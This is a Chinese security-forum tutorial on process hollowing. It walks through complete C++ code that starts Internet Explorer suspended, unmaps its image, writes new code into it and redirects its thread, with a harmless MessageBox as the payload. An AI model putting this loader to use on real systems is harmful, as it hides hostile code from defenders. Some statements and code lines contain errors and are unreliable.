傀儡进程的分析与实现
mathwizard 渗透测试 5368浏览 · 2021-11-15 07:14

前言

对于进程隐藏技术有很多种实现方式,本文就对傀儡进程进行分析及实现。

基础知识

挂起方式创建进程

我们知道如果进程创建之后会在内存空间进行拉伸,那么我们如果需要写入shellcode,只能在程序运行之前写入,因为当程序运行起来之后是不能够进行操作的。但是有一个例外,如果我们以挂起模式创建进程,写入shellcode到内存空间,再恢复进程,也能够达到同样的效果。

我们知道创建进程用到CreateProcess这个函数,首先看下结构

BOOL CreateProcess(  
 LPCTSTR lpApplicationName, // 应用程序名称  
 LPTSTR lpCommandLine, // 命令行字符串  
 LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程的安全属性  
 LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性  
 BOOL bInheritHandles, // 是否继承父进程的属性  
 DWORD dwCreationFlags, // 创建标志  
 LPVOID lpEnvironment, // 指向新的环境块的指针  
 LPCTSTR lpCurrentDirectory, // 指向当前目录名的指针  
 LPSTARTUPINFO lpStartupInfo, // 传递给新进程的信息  
 LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息  
);

其中以挂起方式创建进程与两个参数有关,分别是第三个参数和第四个参数

lpProcessAttributes

CreateProcess结构中的第三个成员,指向SECURITY_ATTRIBUTES结构的一个指针,用来设置进程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,进程句柄不能够被子进程继承

typedef struct _SECURITY_ATTRIBUTES {
       DWORD  nLength;  //结构体的大小
       LPVOID lpSecurityDescriptor;  //安全描述符
       BOOL   bInheritHandle; //指定返回的句柄是否被继承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;

lpThreadAttributes

CreateProcess结构中的第四个成员,指向SECURITY_ATTRIBUTES结构的一个指针,用来设置线程句柄能否被继承,若设置为NULL,则在句柄表中的值为0,线程句柄不能够被子进程继承

typedef struct _SECURITY_ATTRIBUTES {
       DWORD  nLength;  //结构体的大小
       LPVOID lpSecurityDescriptor;  //安全描述符
       BOOL   bInheritHandle; //指定返回的句柄是否被继承
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;

那么这里验证一下挂起进程之后就不能够对进程进行操作

父进程代码,创建一个ie浏览器的进程并调用CreateProcess创建子进程

// win32 create process3.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

int main(int argc, char* argv[])
{
    char szBuffer[256] = {0};                               
    char szHandle[8] = {0};                             

    SECURITY_ATTRIBUTES ie_sa_p;                                
    ie_sa_p.nLength = sizeof(ie_sa_p);                              
    ie_sa_p.lpSecurityDescriptor = NULL;                                
    ie_sa_p.bInheritHandle = TRUE;                              

    SECURITY_ATTRIBUTES ie_sa_t;                                
    ie_sa_t.nLength = sizeof(ie_sa_t);                              
    ie_sa_t.lpSecurityDescriptor = NULL;                                
    ie_sa_t.bInheritHandle = TRUE;                              

    //创建一个可以被继承的内核对象,此处是个进程                             

    STARTUPINFO ie_si = {0};                                
    PROCESS_INFORMATION ie_pi;                              
    ie_si.cb = sizeof(ie_si);                               

    TCHAR szCmdline[] =TEXT("c://program files//internet explorer//iexplore.exe");                              

    CreateProcess(                              
        NULL,                           
        szCmdline,                          
        &ie_sa_p,                           
        &ie_sa_t,                           
        TRUE,                           
        CREATE_NEW_CONSOLE,                             
        NULL,                           
        NULL, &ie_si, &ie_pi);                          

    //组织命令行参数                               
    sprintf(szHandle,"%x %x",ie_pi.hProcess,ie_pi.hThread);                             
    sprintf(szBuffer,"C:/project/win32 create process4/Debug/win32 create process4.exe %s",szHandle);                               

    //定义创建进程需要用的结构体                             
    STARTUPINFO si = {0};                                   
    PROCESS_INFORMATION pi;                             
    si.cb = sizeof(si);                             

    //创建子进程                             
    BOOL res = CreateProcess(                               
        NULL,                           
        szBuffer,                           
        NULL,                           
        NULL,                           
        TRUE,                           
        CREATE_NEW_CONSOLE,                             
        NULL,                           
        NULL, &si, &pi);                            

    return 0;
}

子进程代码如下,这里获取到子进程的句柄之后,使用SuspendThread挂起进程,等待5s后使用ResumeThread恢复进程

// win32 create process4.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

int main(int argc, char* argv[])
{
    DWORD dwProcessHandle = -1;                     
    DWORD dwThreadHandle = -1;                      
    char szBuffer[256] = {0};                       


    memcpy(szBuffer,argv[1],8);                     
    sscanf(szBuffer,"%x",&dwProcessHandle);                     

    memset(szBuffer,0,256);                     
    memcpy(szBuffer,argv[2],8);                     
    sscanf(szBuffer,"%x",&dwThreadHandle);                      

    printf("获取IE进程、主线程句柄\n");                       
    Sleep(5000);                        
    //挂起主线程                     
    printf("挂起主线程\n");                      
    ::SuspendThread((HANDLE)dwThreadHandle);                        

    Sleep(5000);                        

    //恢复主线程                     
    ::ResumeThread((HANDLE)dwThreadHandle);                     
    printf("恢复主线程\n");                      

    Sleep(5000);                        

    //关闭ID进程                        
    ::TerminateProcess((HANDLE)dwProcessHandle,1);                      
    ::WaitForSingleObject((HANDLE)dwProcessHandle, INFINITE);                       

    printf("ID进程已经关闭.....\n");  

    char szBuffer[256] = {0};           

    GetCurrentDirectory(256,szBuffer);          

    printf("%s\n",szBuffer);            

    getchar();

    return 0;
}

这里看下实验效果,可以看到挂起主线程时候,ie浏览器是点不动的,恢复主线程之后又可以正常运行,那么我们尝试使用挂起模式启动一个进程

以挂起模式启动进程,只需要改一个地方,就是CreateProcess的第六个成员,设置为CREATE_SUSPENDED(非活动状态)即可,挂起之后使用ResumeThread恢复执行

// win32 create process3.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

int main(int argc, char* argv[])
{
    STARTUPINFO ie_si = {0};                
    PROCESS_INFORMATION ie_pi;              
    ie_si.cb = sizeof(ie_si);               

    TCHAR szBuffer[256] = "C:\\Documents and Settings\\Administrator\\桌面\\notepad.exe";             
    CreateProcess(              
        NULL,                           
        szBuffer,                           
        NULL,           
        NULL,           
        FALSE,                              
        CREATE_SUSPENDED,               
        NULL,                               
        NULL,                               
        &ie_si,                             
        &ie_pi                              
        );          

    //恢复执行              
    ResumeThread(ie_pi.hThread);                

    return 0;
}

实现效果如下,这里使用挂起模式创建notepad,可以看到任务管理器里面已经有了这个进程,但是还没有显示出来,使用ResumeThread恢复执行之后就是一个正常的进程

实现过程

知道了以挂起模式启动进程,我们整理下思路。首先我们以挂起形式创建进程,创建进程过后我们的目的是写入shellcode,那么就要自己申请一块可读可写的区域内存放我们的shellcode,然后再恢复主线程,将函数入口指向我们的shellcode即可,当然这只是一个demo,具体细节还需要具体优化。

这里我使用了一个内核apiZwUnmapViewOfSection,用来清空之前内存里面的数据

那么首先我们把创建进程这部分写一个单独的函数

使用CREATE_SUSPENDED挂起创建进程的方式

CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

再写一个if语句判断进程创建是否成功,这里我创建的进程还是IE,完整代码如下

BOOL CreateIEProcess()  
{
    wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
    STARTUPINFO si = { 0 }; 
    si.cb = sizeof(si);
    BOOL bRet;

x CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

    if (bRet)
    {
        printf("Create IE successfully!\n\n");
    }
    else
    {
        printf("Create IE failed\n\n");
    }
    return bRet;
}

然后使用内核apiZwUnmapViewOfSection卸载创建这个基质内存空间的数据,这里先看下ZwUnmapViewOfSection的结构

NTSTATUS   ZwUnmapViewOfSection(
    IN HANDLE  ProcessHandle,
    IN PVOID  BaseAddress    );

这个函数在wdm.h里面声明,那我们使用ntdll.dll将这个api加载进来

ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");

然后使用GetModuleHandleA获取模块基址

HMODULE hModuleBase = GetModuleHandleA(NULL);

使用GetCurModuleSize获取映像大小

DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);

每个线程内核对象都维护着一个CONTEXT结构,里面保存了线程运行的状态,线程也就是eip, 这样可以使CPU可以记得上次运行该线程运行到哪里了,该从哪里开始运行,所以我们要先获取线程上下文的状态,使用到GetThreadContext

Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &Thread);

下一步我们需要知道程序的基址,这里我用到PEB结构和ReadProcessMemory来获取,首先看下PEB的结构

root> dt_peb
nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged     : UChar
+0x003 BitField          : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 SpareBits         : Pos 1, 7 Bits
+0x004 Mutant            : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void

ImageBaseAddress在+0x008这个位置,所以这个地方ReadProcessMemory的参数就是PEB+8

DWORD GetRemoteProcessImageBase(DWORD dwPEB)
{
    DWORD dwBaseAddr;
    ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseAddr, sizeof(DWORD), NULL);
    return dwBaseAddr;
}

使用ZwUnmapViewOfSection来卸载空间数据

ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);

卸载完空间数据之后,用VirtualAllocEx重新为我们创建的进程申请一块空间

VirtualAllocEx(pi.hProcess, hModuleBase,dwImageSize,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE);

然后使用WriteProcessMemory写入

WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);

在写入完成之后使用GetThreadContext,设置获取标志为 CONTEXT_FULL,即获取新进程中所有的线程上下文

ThreadCxt.ContextFlags = CONTEXT_FULL;

然后修改eip指向我们自己的函数地址,这里写一个MessageBox

DWORD GetNewOEP()
{
    return (DWORD)MessageBox;   
}

void MessageBox()
{
    MessageBoxA(0, "Inject successfully", "", 0);   
}

Threadna.Eip = GetNewOEP();

完整代码如下

#include <windows.h>
#include <tchar.h>
#include <iostream>
using namespace std;


typedef long NTSTATUS;

typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(
    IN HANDLE ProcessHandle,
    IN LPVOID BaseAddress
    );
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;

PROCESS_INFORMATION pi = { 0 };


BOOL CreateEXE()
{
    wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
    STARTUPINFO si = { 0 };
    si.cb = sizeof(si);
    BOOL bRet;

    bRet = CreateProcessW(NULL,wszIePath,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

    if (bRet)
    {
        printf("[*] Create process successfully!\n\n");
    }
    else
    {
        printf("[!] Create process failed\n\n");
    }

    return bRet;
}


DWORD GetCurModuleSize(DWORD dwModuleBase)
{
    PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
    PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
    return pNtHdr->OptionalHeader.SizeOfImage;
}


DWORD GetRemoteProcessImageBase(DWORD dwPEB)
{
    DWORD dwBaseRet;
    ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);
    return dwBaseRet;
}

void Mess()
{
    MessageBoxA(0, "Inject successfully", "", 0);
}

DWORD GetNewOEP()
{
    return (DWORD)Mess;
}


int _tmain(int argc, _TCHAR* argv[])
{

    ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");
    printf("[*] ZwUnmapViewOfSection address is : 0x%08X\n\n", ZwUnmapViewOfSection);

    if (!ZwUnmapViewOfSection)  
    {
        printf("[!] ZwUnmapViewOfSection failed\n\n");
        exit(1);
    }

    if (!CreateEXE())   
    {
        printf("[!] Create Process failed\n\n");
        exit(1);
    }

    printf("[*] The process PID is : %d\n\n", pi.dwProcessId);
    HMODULE hModuleBase = GetModuleHandleA(NULL);

    DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);

    CONTEXT Thread;

    Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;

    GetThreadContext(pi.hThread, &Thread);


    DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);

    ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);

    LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (lpAllocAddr)
    {
        printf("[*] VirtualAllocEx successfully!\n\n");

    }
    else
    {
        printf("[!] VirtualAllocEx failed\n\n");
        return FALSE;
    }

    if (NULL == ::WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL))
    {
        printf("[!] WriteProcessMemory failed\n\n");
        return FALSE;
    }
    else
    {
        printf("[*] WriteProcessMemory successfully!\n\n");
    }

    Thread.ContextFlags = CONTEXT_FULL;
    Thread.Eip = GetNewOEP();

    SetThreadContext(pi.hThread, &Thread);

    if (-1 == ResumeThread(pi.hThread))
    {
        printf("[!] ResumeThread failed\n\n");
        return FALSE;
    }
    else
    {
        printf("[*] ResumeThread successfully!\n\n");
    }

}

实现效果

到这我们的函数就已经成功了,运行一下弹出了messagebox,证明傀儡进程创建成功

欢迎关注公众号 红队蓝军

0 条评论
某人
表情
可输入 255